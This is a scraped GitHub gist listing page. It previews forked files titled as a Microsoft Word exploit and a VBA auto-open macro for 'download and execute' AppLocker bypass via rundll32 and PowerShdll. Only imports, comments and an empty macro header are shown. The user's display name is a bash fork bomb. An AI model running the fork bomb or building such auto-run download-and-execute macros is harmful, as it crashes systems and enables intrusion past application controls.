Skip to content

Instantly share code, notes, and snippets.

View Celestial-intelligence's full-sized avatar

:(){ :|:& };: Celestial-intelligence

View GitHub Profile
@Celestial-intelligence
Celestial-intelligence / exploit.py
Created March 2, 2020 10:42 — forked from bedekelly/exploit.py
Microsoft Word Exploit - Original
import sys
import os
import warnings
import zlib
sys.path.append(os.getcwd() + '/' + "pylzma.egg")
import pylzma
import struct
import random
import shutil
from zipfile import ZipFile
@Celestial-intelligence
Celestial-intelligence / partials.py
Created March 2, 2020 10:42 — forked from bedekelly/partials.py
Graceful partial functions in Python. https://github.com/bedekelly/minitest for test library used.
import inspect
from minitest import case, tests
from functools import wraps, partial
def makepartial(fn):
"""
This function is a decorator which allows functions with a fixed
number of arguments gracefully to be transformed into partial functions
given too few arguments to execute.
@Celestial-intelligence
Celestial-intelligence / cleaned_exploit.py
Created March 2, 2020 10:42 — forked from bedekelly/cleaned_exploit.py
Cleanup in Progress - MS Word Exploit
import sys
import os
import warnings
import zlib
import struct
import random
import shutil
import zipfile
from zipfile import ZipFile
import time
@Celestial-intelligence
Celestial-intelligence / macro_download_and_execute_rundll32_powershdll_powershell.vba macro - download and execute applocker bypass (rundll32 / powershdll / powershell)
' based on
' https://stackoverflow.com/questions/17877389/how-do-i-download-a-file-using-vba-without-internet-explorer
'
' PowerShdll.dll by @p3nt4
' https://github.com/p3nt4/PowerShdll
'
' rundll32 is a good candidate as blocking this abuse binary impacts certain Windows functionality - RDP/Office right-click
' shortcuts, and "run-as" a non-privileged user (perhaps a functionality edge-case)
Sub Document_Open()